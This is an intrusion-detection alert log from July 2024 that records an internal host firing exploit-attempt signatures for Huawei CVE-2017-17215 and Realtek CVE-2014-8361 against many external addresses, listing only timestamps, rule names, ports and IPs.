07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53432	37215	192.168.2.15	128.195.53.217
07/20/24-23:10:39.145039	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42306	52869	192.168.2.15	72.244.52.162
07/20/24-23:10:46.652480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47806	52869	192.168.2.15	192.27.39.245
07/20/24-23:10:39.391618	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57164	52869	192.168.2.15	91.159.64.203
07/20/24-23:10:47.712896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60452	52869	192.168.2.15	222.120.170.64
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47236	37215	192.168.2.15	197.165.244.114
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35096	37215	192.168.2.15	40.249.110.83
07/20/24-23:11:06.680204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47234	37215	192.168.2.15	197.136.96.121
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48564	37215	192.168.2.15	80.162.152.76
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59668	37215	192.168.2.15	197.219.149.250
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37348	37215	192.168.2.15	41.166.112.173
07/20/24-23:10:44.618894	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57778	52869	192.168.2.15	222.216.119.91
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51950	37215	192.168.2.15	41.57.56.21
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60524	37215	192.168.2.15	138.128.103.84
07/20/24-23:10:40.656426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45480	37215	192.168.2.15	39.147.126.15
07/20/24-23:10:51.955739	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34804	52869	192.168.2.15	171.218.135.148
07/20/24-23:10:52.540929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54278	37215	192.168.2.15	157.193.80.220
07/20/24-23:10:45.392566	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34380	52869	192.168.2.15	223.213.191.10
07/20/24-23:10:44.605211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45208	52869	192.168.2.15	112.250.31.72
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40962	37215	192.168.2.15	58.5.254.83
07/20/24-23:10:41.220575	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60146	37215	192.168.2.15	41.247.243.177
07/20/24-23:10:51.992277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35210	52869	192.168.2.15	83.29.88.76
07/20/24-23:11:06.674872	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59700	37215	192.168.2.15	179.62.67.97
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58100	37215	192.168.2.15	41.92.178.14
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38158	37215	192.168.2.15	197.204.196.247
07/20/24-23:10:40.644796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38168	37215	192.168.2.15	81.7.136.58
07/20/24-23:10:51.937938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40816	52869	192.168.2.15	136.211.29.117
07/20/24-23:10:48.298335	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60496	52869	192.168.2.15	47.2.9.114
07/20/24-23:10:51.995612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38348	52869	192.168.2.15	79.14.113.77
07/20/24-23:10:51.917508	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43532	52869	192.168.2.15	60.113.117.170
07/20/24-23:10:47.849322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47698	52869	192.168.2.15	186.136.242.161
07/20/24-23:10:56.039438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54238	37215	192.168.2.15	185.0.88.111
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50908	37215	192.168.2.15	42.63.101.142
07/20/24-23:11:06.689940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39502	37215	192.168.2.15	41.56.104.227
07/20/24-23:10:40.607363	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54458	37215	192.168.2.15	14.62.43.62
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47674	37215	192.168.2.15	13.252.226.77
07/20/24-23:10:40.607363	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51210	37215	192.168.2.15	211.150.213.32
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60562	37215	192.168.2.15	149.205.10.158
07/20/24-23:10:51.896835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33066	52869	192.168.2.15	118.155.226.123
07/20/24-23:10:39.397605	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56016	52869	192.168.2.15	69.210.2.130
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54954	37215	192.168.2.15	36.49.92.9
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40124	37215	192.168.2.15	207.219.56.164
07/20/24-23:10:43.932768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59498	52869	192.168.2.15	171.98.191.97
07/20/24-23:10:52.955677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40792	52869	192.168.2.15	155.240.87.154
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48734	37215	192.168.2.15	157.230.78.164
07/20/24-23:10:52.531229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44638	37215	192.168.2.15	197.53.142.163
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34532	37215	192.168.2.15	157.241.6.192
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36888	37215	192.168.2.15	157.249.144.129
07/20/24-23:10:47.958166	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54760	52869	192.168.2.15	116.197.1.84
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33412	37215	192.168.2.15	197.185.248.50
07/20/24-23:10:46.734527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54616	37215	192.168.2.15	197.71.60.13
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58042	37215	192.168.2.15	157.174.147.13
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36698	37215	192.168.2.15	197.251.90.146
07/20/24-23:10:41.227634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36952	37215	192.168.2.15	41.54.12.174
07/20/24-23:10:51.933445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46636	52869	192.168.2.15	112.250.31.72
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49026	37215	192.168.2.15	157.4.105.187
07/20/24-23:10:44.794102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43430	52869	192.168.2.15	184.114.49.59
07/20/24-23:10:51.999918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37424	52869	192.168.2.15	132.67.102.180
07/20/24-23:10:51.920409	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47140	52869	192.168.2.15	100.180.255.242
07/20/24-23:10:42.620216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53590	52869	192.168.2.15	155.186.2.88
07/20/24-23:10:39.749374	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42632	52869	192.168.2.15	102.181.59.60
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59832	37215	192.168.2.15	157.124.152.142
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51802	37215	192.168.2.15	13.225.171.30
07/20/24-23:11:03.361258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58542	37215	192.168.2.15	41.183.21.37
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59268	37215	192.168.2.15	197.90.115.179
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58288	37215	192.168.2.15	197.152.251.193
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32902	37215	192.168.2.15	41.151.166.61
07/20/24-23:10:51.944865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56912	52869	192.168.2.15	172.248.193.236
07/20/24-23:10:41.220541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43324	37215	192.168.2.15	41.28.65.67
07/20/24-23:10:40.110141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39414	52869	192.168.2.15	133.58.253.32
07/20/24-23:10:52.061682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43186	52869	192.168.2.15	60.47.44.203
07/20/24-23:10:46.739331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57206	37215	192.168.2.15	197.212.128.84
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40188	37215	192.168.2.15	157.174.16.208
07/20/24-23:10:44.575723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33552	52869	192.168.2.15	46.156.254.69
07/20/24-23:10:52.517494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42422	37215	192.168.2.15	197.43.151.167
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40466	37215	192.168.2.15	197.199.156.147
07/20/24-23:10:52.061682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43468	52869	192.168.2.15	158.108.32.200
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41866	37215	192.168.2.15	140.235.15.87
07/20/24-23:10:41.222356	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46766	37215	192.168.2.15	197.127.119.138
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49476	37215	192.168.2.15	201.135.8.30
07/20/24-23:10:43.541787	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43666	52869	192.168.2.15	66.29.130.220
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52820	37215	192.168.2.15	197.1.29.38
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35560	37215	192.168.2.15	41.233.53.226
07/20/24-23:10:42.621194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43364	52869	192.168.2.15	102.181.59.60
07/20/24-23:10:48.320201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50658	52869	192.168.2.15	154.8.108.34
07/20/24-23:10:51.970585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35444	52869	192.168.2.15	24.166.44.145
07/20/24-23:10:39.438135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59254	37215	192.168.2.15	197.143.76.23
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58394	37215	192.168.2.15	207.193.151.163
07/20/24-23:10:39.205185	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39438	52869	192.168.2.15	108.128.208.18
07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54980	37215	192.168.2.15	197.198.39.152
07/20/24-23:10:59.012072	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48662	37215	192.168.2.15	197.176.134.19
07/20/24-23:10:55.979374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49654	37215	192.168.2.15	41.179.65.72
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51110	37215	192.168.2.15	197.246.166.200
07/20/24-23:10:42.249182	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35044	37215	192.168.2.15	157.147.34.23
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36308	37215	192.168.2.15	35.188.243.106
07/20/24-23:10:51.923394	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60804	52869	192.168.2.15	144.40.158.145
07/20/24-23:10:41.228606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35728	37215	192.168.2.15	197.210.198.249
07/20/24-23:11:03.361095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45910	37215	192.168.2.15	72.206.41.225
07/20/24-23:10:51.988569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38454	52869	192.168.2.15	20.223.23.215
07/20/24-23:10:39.497131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33952	37215	192.168.2.15	184.222.40.221
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34740	37215	192.168.2.15	197.182.193.172
07/20/24-23:10:56.011227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55328	37215	192.168.2.15	157.58.174.18
07/20/24-23:10:49.383600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49878	37215	192.168.2.15	197.123.0.39
07/20/24-23:10:41.234520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37580	37215	192.168.2.15	110.110.225.230
07/20/24-23:10:44.028699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51834	52869	192.168.2.15	167.80.147.223
07/20/24-23:10:41.227589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56374	37215	192.168.2.15	157.172.222.139
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45136	37215	192.168.2.15	197.137.222.201
07/20/24-23:11:03.371424	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36700	37215	192.168.2.15	41.113.109.39
07/20/24-23:10:42.639392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46384	52869	192.168.2.15	223.10.231.163
07/20/24-23:10:44.562694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38062	52869	192.168.2.15	61.1.165.207
07/20/24-23:10:48.638182	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33318	52869	192.168.2.15	78.179.192.192
07/20/24-23:10:45.826059	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38046	52869	192.168.2.15	23.213.111.232
07/20/24-23:10:40.607363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40162	37215	192.168.2.15	41.140.181.240
07/20/24-23:10:51.937938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32872	52869	192.168.2.15	87.2.229.121
07/20/24-23:10:42.637866	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40292	52869	192.168.2.15	133.58.253.32
07/20/24-23:10:52.549474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59808	37215	192.168.2.15	50.80.239.207
07/20/24-23:10:51.915609	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54980	52869	192.168.2.15	200.157.164.208
07/20/24-23:10:39.152961	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55874	52869	192.168.2.15	134.192.167.73
07/20/24-23:10:47.680323	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45624	52869	192.168.2.15	211.213.18.108
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33022	37215	192.168.2.15	41.133.211.18
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42906	37215	192.168.2.15	197.224.233.88
07/20/24-23:10:56.002189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34798	37215	192.168.2.15	197.228.38.103
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41276	37215	192.168.2.15	157.226.143.7
07/20/24-23:10:44.571221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50154	52869	192.168.2.15	130.142.173.122
07/20/24-23:10:51.906948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48738	52869	192.168.2.15	63.97.65.81
07/20/24-23:10:49.383600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50424	37215	192.168.2.15	157.133.163.120
07/20/24-23:10:47.654705	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38562	52869	192.168.2.15	119.58.176.87
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41934	37215	192.168.2.15	41.140.111.60
07/20/24-23:10:42.621600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41120	52869	192.168.2.15	143.77.32.144
07/20/24-23:10:49.445760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44468	37215	192.168.2.15	157.96.146.83
07/20/24-23:10:51.971548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49762	52869	192.168.2.15	192.27.39.245
07/20/24-23:10:59.004938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35296	37215	192.168.2.15	41.203.21.71
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50632	37215	192.168.2.15	197.126.18.168
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48956	37215	192.168.2.15	41.180.105.213
07/20/24-23:10:56.002189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59280	37215	192.168.2.15	41.181.106.45
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54374	37215	192.168.2.15	12.48.52.3
07/20/24-23:10:51.983127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35274	52869	192.168.2.15	47.132.43.96
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55676	37215	192.168.2.15	197.137.59.221
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41764	37215	192.168.2.15	157.174.248.251
07/20/24-23:10:59.057855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60898	37215	192.168.2.15	197.144.9.215
07/20/24-23:10:40.656565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58524	37215	192.168.2.15	157.61.187.214
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55566	37215	192.168.2.15	197.110.219.79
07/20/24-23:10:39.162925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60444	52869	192.168.2.15	23.180.240.118
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53222	37215	192.168.2.15	197.212.6.49
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37320	37215	192.168.2.15	157.245.216.156
07/20/24-23:10:44.615528	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59672	52869	192.168.2.15	87.2.229.121
07/20/24-23:10:48.679763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60570	52869	192.168.2.15	222.95.36.229
07/20/24-23:10:51.984755	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39854	52869	192.168.2.15	23.213.111.232
07/20/24-23:10:43.459650	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43790	52869	192.168.2.15	74.74.206.232
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56162	37215	192.168.2.15	157.168.0.42
07/20/24-23:10:59.032609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50742	37215	192.168.2.15	49.138.179.241
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52726	37215	192.168.2.15	197.216.169.151
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55836	37215	192.168.2.15	41.171.165.202
07/20/24-23:10:46.726397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52294	37215	192.168.2.15	197.189.110.3
07/20/24-23:10:40.643381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40844	37215	192.168.2.15	170.219.73.31
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47994	37215	192.168.2.15	41.210.197.36
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59168	37215	192.168.2.15	41.219.76.223
07/20/24-23:11:06.679232	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60106	37215	192.168.2.15	41.147.221.134
07/20/24-23:10:43.440018	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52792	52869	192.168.2.15	112.72.53.27
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47014	37215	192.168.2.15	41.220.170.228
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59130	37215	192.168.2.15	41.5.231.102
07/20/24-23:10:43.244583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50864	52869	192.168.2.15	25.16.163.132
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36708	37215	192.168.2.15	41.77.154.218
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40256	37215	192.168.2.15	143.57.33.34
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54254	37215	192.168.2.15	157.115.108.166
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55066	37215	192.168.2.15	34.108.209.169
07/20/24-23:10:43.558832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47892	52869	192.168.2.15	208.41.148.99
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51404	37215	192.168.2.15	41.167.79.148
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57586	37215	192.168.2.15	197.244.98.22
07/20/24-23:10:52.016220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53548	52869	192.168.2.15	110.195.69.132
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43954	37215	192.168.2.15	81.195.144.123
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59424	37215	192.168.2.15	157.70.166.0
07/20/24-23:10:45.861270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51048	52869	192.168.2.15	13.188.140.147
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49394	37215	192.168.2.15	197.58.115.194
